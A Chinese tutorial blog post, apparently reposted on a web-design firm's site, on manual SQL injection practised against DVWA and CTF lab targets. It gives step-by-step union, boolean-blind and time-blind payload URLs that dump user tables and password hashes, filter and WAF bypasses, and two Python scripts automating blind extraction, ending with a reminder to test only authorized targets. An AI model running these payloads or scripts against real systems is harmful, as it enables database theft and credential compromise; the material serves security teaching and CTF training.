尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
手工SQL注入实战:联合查询、布尔盲注与时间盲注全解析
SQL注入这个东西圈子里聊了十几年热度一点没降。不管是CTF比赛、众测项目还是渗透测试注入永远是Web漏洞里的常青树。很多人一上来就挂sqlmap跑跑出来一个库就算完事但一旦目标做了简单的参数加密、WAF拦截或者语句过滤工具就抓瞎了。所以我一直觉得手工注入是必须练的基本功尤其联合查询、布尔盲注、时间盲注这三板斧思路完全不一样但核心逻辑是相通的理解数据库到底在被你操纵着做什么。这篇博文会把三种最典型的手工注入从头到尾捋一遍从原理到实操、从函数选择到脚本辅助全程基于DVWA和CTFHub这类靶场环境复现也会穿插一些我在实际测试里踩过的坑比如locate()函数在MySQL不同写法下的隐式转换问题、--注释符带不带空格导致的报错差异。适合正在学Web安全的新手、准备CTF比赛的学生以及想把注入原理吃透的开发者。1. 内容整体设计与思路拆解1.1 为什么现在还要埋头学手工注入很多人在入门阶段第一个接触的SQL注入工具就是sqlmap-u加个URL--dbs一把梭看起来效率拉满。但真实业务场景里sqlmap挂掉的概率比很多人想象中高得多。比如目标站点把参数做了AES加密或者用了replace()把关键字过滤掉甚至只是简单加了个Web应用防火墙WAFsqlmap不动手动调payload很多情况下就跑不通。更重要的是工具不会告诉你SQL注入到底是怎么发生的。你拿到一个数据库不知道它是怎么被拼接出来的遇到一个报错不知道该去看哪一层逻辑那和开盲盒没什么区别。手工注入的意义在于每一次构造语句都是在跟数据库进行一次对话你会清楚地感知到哪个函数在何时执行、哪段查询被闭合了、注释符到底注释掉了什么。这也是为什么CTF比赛里SQL注入题型永远不会消失。CTFHub、CTFShow、n1book这些平台的题目核心就是在考察选手对注入语句的掌控力。比赛里经常出现过滤空格、过滤关键字、内联注释绕过这类变种如果你只会跑工具第一题就卡死了。所以这篇博文拿靶场来打底把联合查询、布尔盲注、时间盲注的手工过程完整复现出来每一步的为什么都写明白这样你在遇到真实目标时才知道怎么有针对性地调整payload。1.2 靶场选型与本地环境搭建手工注入练习最怕的是没有合法目标所以本地搭一套靶场是绕不开的第一步。目前主流的入门靶场有这么几个我按推荐顺序整理一下靶场特点适合阶段DVWADamn Vulnerable Web Application老牌PHP靶场漏洞类型全面有Low/Medium/High/Impossible四个等级新手入门首选SQL注入、XSS、文件包含一条龙Pikachu中文靶场案例贴近国内教学体系覆盖34类漏洞新手熟悉漏洞类型、做课程作业SQLi-Labs专门为SQL注入设计的关卡式靶场从GET到POST到盲注全都有想系统练SQL注入关卡的选手CTFHub/CTFShow在线CTF平台技能树直接对应比赛题型CTF选手打比赛前的专项训练我自己建议的搭配是本地用phpStudy搭一套DVWA或SQLi-Labs线上再用CTFHub的Web入门技能树做补充。本地靶场的好处是可以开着调试模式看SQL语句真实执行结果线上平台的好处是题目类型更接近真实环境还经常有过滤绕过的变种。环境搭建就三步装一个phpStudyApacheMySQLPHP、把DVWA解压进www目录、按提示创建数据库并登录默认账号密码admin/password。DVWA里把Security Level切到Low这就是我们手工注入的主战场。同时你还需要一个可以手动改包的HTTP工具Burp Suite是标配实在不想装的话用浏览器开发者工具也能凑合但效率会打折。2. 核心细节解析与实操要点2.1 判断注入点先搞清楚数据是怎么拼进SQL语句的学SQL注入最先要养成的习惯是看到一个参数先问它后端是怎么处理这个值的。所有注入手法都源自同一个根因——开发者把用户输入直接拼接进了SQL语句没有做参数化查询。比如登录场景后端代码可能是这样写的$sql SELECT * FROM users WHERE user_id . $_GET[id] . ;这一行代码决定了你在参数里输入的任何内容都会被当成SQL语句的一部分去执行。所以判断注入点的第一步就是看你的输入能不能改变原有的SQL语句结构。最经典的试探方法是单引号报错法直接在参数后面加一个单引号比如?id1。如果页面报错说明单引号被拼进了SQL语句并破坏了原有语法那大概率注入点就存在。如果页面正常显示或者把单引号过滤了再去试其他类型的注入。另一个更温和的试探方法是逻辑判断法也就是构造and 11和and 12看页面变化。假设原始SQL是SELECT * FROM users WHERE id 1你输入1 and 11整个查询还是成立的页面正常输入1 and 12条件为假查不到数据页面就空了。两次结果不一样就说明你输入的and 11确实参与到了SQL条件判断里。这里要特别注意数字型和字符型的区别。数字型注入的URL通常是?id1这种后端参数直接拼进数值字段不需要考虑引号闭合字符型注入则是?nameadmin这种参数被引号包着你输入的内容要先把引号闭合掉比如 or 11才能打破原有结构。怎么区分简单试单引号报错时如果报错信息里能看到SQL语句尾部的引号位置就能判断出类型或者用1 and 11如果加不加引号都生效多半是有引号的字符型需要调整闭合方式。2.2 过滤与绕过的底层逻辑内联注释、等价替代和编码新手练注入的时候最容易懵的一个环节是明明payload在本地靶场能用换一个题就报错。绝大多数原因不是你不懂注入而是题目做了过滤。常见的过滤手段和对应思路其实有一套规律可循。MySQL的内联注释/*! ... */是一个非常高价值的绕过点。它的原理是MySQL解析器默认会执行/*!内部的SQL语句但普通字符串过滤器只会把它当成注释处理。所以当题目过滤了UNION关键字时写上/*!UNION*/就能在不触发关键字匹配的情况下被MySQL正常解析。这条在CTF里特别常见CTFShow的Web入门里就有专门考察内联注释的题。还有一类常见过滤是replace()它的逻辑是把危险关键字替换成空字符串。绕过思路也很经典既然select会被替换为空那就构造sselectelect第一次替换把中间的select吃掉剩下的还是select。类似的思路还可以配合大小写、双写、/**/注释符分割来用。另外一个经常被忽略的坑locate()函数。MySQL的locate(1,1)和locate(1,1)结果一样很多人以为是同一个东西但实际原因是MySQL做了隐式类型转换数字1被转成了字符串1。这在布尔盲注里判断返回真/假时几乎不产生差异。但如果题目严格做了类型校验你会发现locate(1,1)正常而locate(1,1)报错这其实是触发了严格SQL模式或者某个过滤机制。遇到这种场景优先把所有字符串参数都显式加上引号避免依赖隐式转换。3. 实操过程与核心环节实现3.1 联合查询手工复现全流程从列数判断到数据脱库联合查询注入的核心前提是页面上有位置直接展示数据库查询结果。只要目标页面的SQL查询结果能回显到前端就可以通过UNION SELECT把我们要的数据拼到正常结果后面一起显示出来。在实操前建议先打开Burp Suite代理或者用浏览器F12的Network面板观察请求结构。第一步判断列数。UNION SELECT有个硬性要求前后两个查询的列数必须一致否则数据库直接报错。所以先要探出目标查询有几个字段。最常用的方法是ORDER BY因为排序子句不需要和SELECT列表对齐只要排序的数字不超过列数就不会报错页面正常显示一旦超出列数就会报错。所以按1, 2, 3逐个试GET /vulnerabilities/sqli/?id1 ORDER BY 3-- HTTP/1.1在DVWA Low级别里id1 ORDER BY 3--返回正常说明至少3列id1 ORDER BY 4--报错说明总共3列。这里--的作用是注释掉SQL语句末尾可能存在的单引号或多余字符在URL里是空格的意思保证--后面有空格MySQL的注释符--后面必须跟空白字符才生效这个细节不记住很容易在后面的语句里翻车。**第二步确定回显位置。**列数知道后用UNION SELECT 1,2,3去看页面哪些位置会显示数字GET /vulnerabilities/sqli/?id1 UNION SELECT 1,2,3-- HTTP/1.1页面里通常会显示ID: 1、First name: 2、Surname: 3这样的输出说明第2列和第3列是回显位我们可以在这两列放自定义查询。**第三步获取数据库信息。**先拿版本、当前用户、当前数据库GET /vulnerabilities/sqli/?id1 UNION SELECT 1,database(),version()-- HTTP/1.1DVWA里会看到First name: dvwa、Surname: 8.0.25之类的信息。**第四步拿表名。**查所有表information_schema.tables是MySQL的元数据库记录着所有库、表、字段的结构信息GET /vulnerabilities/sqli/?id1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadvwa-- HTTP/1.1group_concat()可以把多行结果合并成一行方便在回显位输出。DVWA里能看到guestbook,users两张表。**第五步拿字段名。**目标锁定users表GET /vulnerabilities/sqli/?id1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schemadvwa AND table_nameusers-- HTTP/1.1可以看到user_id,first_name,last_name,user,password,avatar,last_login,failed_login等字段。**第六步拖数据。**用户名和密码哈希一起拉出来GET /vulnerabilities/sqli/?id1 UNION SELECT 1,group_concat(user),group_concat(password),3 FROM users-- HTTP/1.1这样就完成了从判断注入点到数据获取的完整链路。整个过程的核心思维是判断列数 - 找显示位 - 查库 - 查表 - 查字段 - 查数据。这个流程在CTF里能解决八成以上的联合查询题目。3.2 布尔盲注手工复现全流程页面只有真/假也要把数据抠出来布尔盲注的场景是页面有内容变化但没有回显位置。你发id1 and 11页面正常发id1 and 12页面空白区别只有有数据和没数据。这种情况下没法直接把联合查询的结果显示出来只能靠一次次走条件判断来逐位读取数据。**第一步确认当前数据库长度。**先拿一个数据库名长度的测试比如判断库名长度是否为4GET /vulnerabilities/sqli/?id1 AND LENGTH(database())4-- HTTP/1.1页面正常说明数据库名长度确实是4。如果页面空白就试5、6直到找到正确的长度。这个试错的过程就是盲注的节奏。**第二步逐字符猜解数据库名。**MySQL的substr()函数可以截取字符串配合and逻辑来做单个字符判断。判断数据库名第一个字符是不是某个字符标准语句是GET /vulnerabilities/sqli/?id1 AND SUBSTR(database(),1,1)d-- HTTP/1.1如果页面正常第一位是d如果空白就继续试a、b、c... 直到命中。第二位就改成SUBSTR(database(),2,1)以此类推。手工试字母很累实际可以先用ascii()判断字符的ASCII码范围比如判断第一位ASCII是否大于100GET /vulnerabilities/sqli/?id1 AND ASCII(SUBSTR(database(),1,1))100-- HTTP/1.1利用二分法先用100缩小范围再110、115这样逼近准确值比一个一个字母试要高效得多。**第三步扩展查询面。**拿到了库名之后用同样的substr()方法去猜表名和字段名。比如判断当前库里是否存在users表可以构造一个存在性查询GET /vulnerabilities/sqli/?id1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemadatabase() AND table_nameusers)0-- HTTP/1.1如果页面正常说明users表存在。接下来逐位猜表名里的每个字符和前面逻辑完全一样。布尔盲注的瓶颈在效率手工逐字符猜确实慢但理解原理之后可以靠脚本提速。实际测试里我一般会写一个Python脚本跑字典自动二分import requests url http://127.0.0.1/vulnerabilities/sqli/ cookies {PHPSESSID: your_session_id, security: low} def blind(condition): payload f1 AND {condition}-- r requests.get(url, params{id: payload}, cookiescookies) return First name in r.text def get_length(expr): for n in range(1, 64): if blind(fLENGTH({expr}){n}): return n return 0 def get_char(expr, index): for code in range(32, 127): if blind(fASCII(SUBSTR({expr},{index},1)){code}): return chr(code) return ? def get_string(expr): length get_length(expr) result for i in range(1, length 1): result get_char(expr, i) return result print(get_string(database()))这个脚本的逻辑和手工人肉判断一模一样只是把二分法换成了全ASCII遍历。实测DVWA跑库名4个字符几乎秒出跑表名字段名也很快。建议把这个脚本扩展一下加入二分查找速率能再快几倍。核心提示布尔盲注有一个很容易忽略的坑判断条件时前端返回的正常和空白可能因为页面缓存或者延迟导致误判尤其是网络环境差的时候。我通常会给请求设置cache-control禁用缓存同时每次判断之间加一个很短的时间间隔避免被WAF或服务端限流误伤。3.3 时间盲注手工复现全流程页面完全没提示靠延迟打电报有些注入点比布尔盲注还狠不管条件真还是假页面内容完全一样只有数据库内部执行时间不一样。这种情况只能用时间盲注核心是利用sleep()函数人为制造延迟通过响应时间判断条件真假。**第一步确认延时注入点存在。**在参数后拼接GET /vulnerabilities/sqli/?id1 AND SLEEP(5)-- HTTP/1.1如果页面转圈了5秒才返回说明sleep(5)被执行了时间盲注可用。第二步用if()把条件和延时绑定。if(condition, sleep(5), 0)的意思是条件为真时睡5秒为假时立即返回。比如判断数据库名长度是否为4GET /vulnerabilities/sqli/?id1 AND IF(LENGTH(database())4,SLEEP(5),0)-- HTTP/1.1如果响应耗时5秒说明长度为4如果瞬间返回说明不是4。同理逐字符判断可以这样写GET /vulnerabilities/sqli/?id1 AND IF(ASCII(SUBSTR(database(),1,1))100,SLEEP(5),0)-- HTTP/1.1**第三步注意benchmark()备选方案。**有些数据库环境里sleep()被禁用或者题目明确过滤了sleep可以换成BENCHMARK(10000000, MD5(test))这种高CPU消耗函数。BENCHMARK用于重复执行一个表达式次数足够多时响应就会变慢。不过它比sleep()更依赖服务器性能建议先小次数试一下比如BENCHMARK(1000000, MD5(a))如果延迟明显再逐步加大免得把靶场拖崩。**第四步脚本化提速。**时间盲注无论是手工还是脚本都比布尔盲注更慢因为每次判断都至少要等一个sleep周期。为了让等待时间可控我把sleep时间设置为2秒配合二分法这样每个字符平均6次请求、12秒左右就能出来。实测下来只要网络稳定效率不算差。import requests import time url http://127.0.0.1/vulnerabilities/sqli/ cookies {PHPSESSID: your_session_id, security: low} def time_blind(condition, sleep_time2): payload f1 AND IF({condition},SLEEP({sleep_time}),0)-- start time.time() requests.get(url, params{id: payload}, cookiescookies) return time.time() - start sleep_time * 0.8 def get_char(expr, index): left, right 32, 127 while left right: mid (left right) // 2 if time_blind(fASCII(SUBSTR({expr},{index},1)){mid}): left mid 1 else: right mid return chr(left) print(get_char(database(), 1))这个脚本用二分法每次条件判断通过响应时间是否超过1.6秒来区分真假。边界值设置成0.8 * sleep_time是为了规避网络抖动比如明明条件为真但响应只有1.5秒那就可能被误判为假。实际使用时要根据网络情况动态调整这个比例我一般取0.8到0.9之间。3.4 快速总结三种注入的适用场景对比三种手工注入方式其实覆盖了三种不同的前端反馈场景实际测试中应该按照反馈程度从高到低来选型注入类型前端反馈核心判断依据典型函数效率联合查询有回显位置数据直接显示在页面UNION SELECT、database()、group_concat()极高一次拿全布尔盲注页面有真/假差异条件成立是否正常显示and、substr()、ascii()、length()中逐字符判断时间盲注页面无任何变化每次请求响应时间长短sleep()、if()、benchmark()低逐字符且等待延迟在CTF题目里判断用哪种注入方式本身就是一个考点。看到页面有列表型输出优先试联合查询页面只有查询成功/失败这种动静走布尔盲注页面完全死水一潭只能上时间盲注。4. 常见问题与排查技巧实录4.1 手工注入高频报错排查表实操过程中新手最容易踩的坑往往不是注入思路不对而是栽在一些非常细的语法和编码细节上。我把这些年遇到的高频问题整理成了一张表你在复现时遇到报错可以直接对照排查。症状可能原因排查思路加--注释后依然报错MySQL注释符--后必须有空格用--或--%20不要用单独的--UNION SELECT报列数不匹配前后查询列数不一致先用ORDER BY确认目标查询列数页面显示正常但拿不到数据参数被过滤或没有回显位检查union/select是否被替换改用盲注sleep()无延迟sleep被过滤或使用错误函数试benchmark或大小写变体单引号被转义程序对引号做了addslashes()或类似处理尝试宽字节注入或寻找其他闭合方式浏览器自动解码导致语句异常前端JS做了过滤或输入限制用Burp Suite改包绕过前端校验布尔盲注判断结果不稳定页面内容存在动态部分导致误判用First name这类固定关键字判断不要依赖整个页面时间盲注一直判断为真响应时间阈值设置不合理把阈值调整为sleep_time * 0.8并多次请求对比这里面的高频重灾区是注释符。很多人明明语句写得没问题结果在URL里写--后面没加空格MySQL直接报语法错误又或者在GET请求里没把空格编码成或%20导致注释符直接失效。这个坑我每次讲课都会强调但每次都有人踩。4.2 一套我自己一直在用的手工测试顺序作为一个从手工注入练起来的老兵我总结了一套固定的测试路径在打靶场和实际授权项目中都验证过分享出来供你参考。第一步从头到尾观察目标页面先正常点击一遍把动态参数全部收集起来比如id、user_id、page、search这类URL参数以及POST表单里的username、password。第二步每个参数都先跑一遍单引号和and 11/and 12的组合判断注入点是否存在并确定类型。第三步根据回显情况选择联合查询还是盲注。有列表回显优先联合查询没有回显但有真假差异走布尔盲注什么差异都没有才上时间盲注。第四步在靶场或者授权测试时每完成一个步骤就记录当前payload方便回溯。这个顺序之所以推荐是因为它把最小成本原则贯彻到了每一步。联合查询一次就能拿全量数据是性价比最高的方式布尔盲注只是慢一点但反馈直接时间盲注最慢也最容易受网络干扰所以一般放最后尝试。如果你一上来就对着参数灌时间盲注那不仅效率低还可能因为误判折腾半天。4.3 关于手工注入的边界意识最后多说一句安全测试的边界一定要守住。这套手工复现流程适用于DVWA、Pikachu、SQLi-Labs、CTFHub、CTFShow这类靶场环境以及你获得明确授权的测试项目。SQL注入的破坏力很强一条UNION SELECT就能把整库拖走真实系统里的数据一旦泄露会造成严重后果。所以练手一定要在合规环境里练千万不要拿未授权的网站当靶子。
RELATED

相关推荐

异步分布式PPO训练:吞吐、滞后与稳定性的工程权衡

异步分布式PPO训练:吞吐、滞后与稳定性的工程权衡

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📅 2026/9/16 6:02:13
微博内容运营实战:从策划到发布的完整指南

微博内容运营实战:从策划到发布的完整指南

1. 微博内容创作与发布实战指南作为国内最具影响力的社交媒体平台之一,微博已成为个人品牌建设、内容传播和热点追踪的重要阵地。我运营企业官微和个人账号已有五年时间,累计发布内容超过2000条,单条最高阅读量突破500万。今天就来分享一套经…

📅 2026/9/16 6:02:13
元宇宙营销失败案例:春晚AR项目资金链断裂分析

元宇宙营销失败案例:春晚AR项目资金链断裂分析

1. 事件背景与核心矛盾解析2023年春节联欢晚会前夕,一家名为"魔法原子"的科技初创企业突然成为舆论焦点。这家主打元宇宙概念的公司,原计划以1亿元人民币独家冠名春晚AR互动环节,却在最后关头因资金链断裂导致项目流产。更戏剧性的…

📅 2026/9/16 6:02:13
MORE NEWS

更多资讯

📰

Hermes数字员工:Python原生Agent的安装、启动与首句对话实战

1. 项目概述:这不是一个“玩具”,而是一次真实数字员工的临门一脚Hermes 数字员工系列,不是又一个披着AI外衣的聊天框。它背后是 DeepSeek 团队在 Agent 架构、工具调用、多步推理和自主任务编排上持续打磨的成果。我第一次在本地跑通 Hermes…

📰

不用装软件!Windows自带三个工具轻松查看显卡型号和电脑配置

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

大模型基座岗位技术栈与百万年薪能力解析

1. 大模型基座模型岗位全景透视2023年被称为"大模型应用元年",各大科技公司对基座模型研发人才的争夺已进入白热化阶段。我亲眼见证某985高校的应届博士生同时收到5份年薪超百万的offer,最终选择的那家甚至给出了"签字费股票"的豪华…

📰

DeepSeek V4.1 Flash部署:显存优化与推理架构实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

OpenMontage开源时间序列异常检测平台部署与实战指南

做运维监控的朋友,多少都遇到过这种场景:明明服务挂了,告警平台没反应,等用户反馈了才知道出问题;又或者半夜三点收到告警,登录一看指标只是正常波动,虚惊一场。传统基于阈值的告警规则&#xf…

📰

家装公司如何选对AI智能体?从获客到落地避坑指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬